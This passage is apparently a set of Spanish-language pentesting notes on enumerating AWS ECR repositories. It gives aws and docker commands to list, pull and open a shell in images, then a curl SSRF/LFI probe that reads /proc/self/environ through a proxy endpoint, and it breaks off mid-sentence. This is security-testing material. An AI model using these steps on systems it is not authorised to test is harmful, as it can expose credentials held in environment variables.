Pentesting ECRs

AWS - ECR Unauthenticated Enum - HackTricks Cloud

Listar las imágenes de un repositorio por el registro en el que se encuentra:

aws ecr list-images --repository-name NAME --registry-id ID --region region

Para poder obtener el ID de registro:

aws sts get-caller-identity --profile profile --region region

Esto nos lista entre otras cosas el AccountId que nos vale como id del registro, porque es la cuenta propietaria de ese registro.

Después:

aws ecr describe-images --repository-name NAME --registry-id ID  --region region

Obtener el digest de la imagen (id):

aws ecr batch-get-image --repository-name NAME --registry-id ID --image-ids imageTag=latest  --region region | jq '.images[].imageManifest | fromjson'

Obtener la url de descarga de la imagen pasándole el digest:

aws ecr get-download-url-for-layer --repository-name NAME --registry-id ID --layer-digest "sha256:digest" --region region

Deployear imagen

aws configure --profile profile
aws ecr get-login-password --region region --profile profile | \
docker login --username AWS --password-stdin {registry-id}.dkr.ecr.region.amazonaws.com

Hacemos pull de la imagen del repositorio level2

docker pull {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latest

Ejecutamos una shell

docker run -it --rm {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latest sh

SSRF

https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#ssrf-in-aws-ecs-container-service-credentials

Podemos probar un LFI

curl http://container/proxy/file:///proc/self/environ --output - ; echo

Nos viene de perlas un SSRF en un ECR para poder acceder a direcciones como: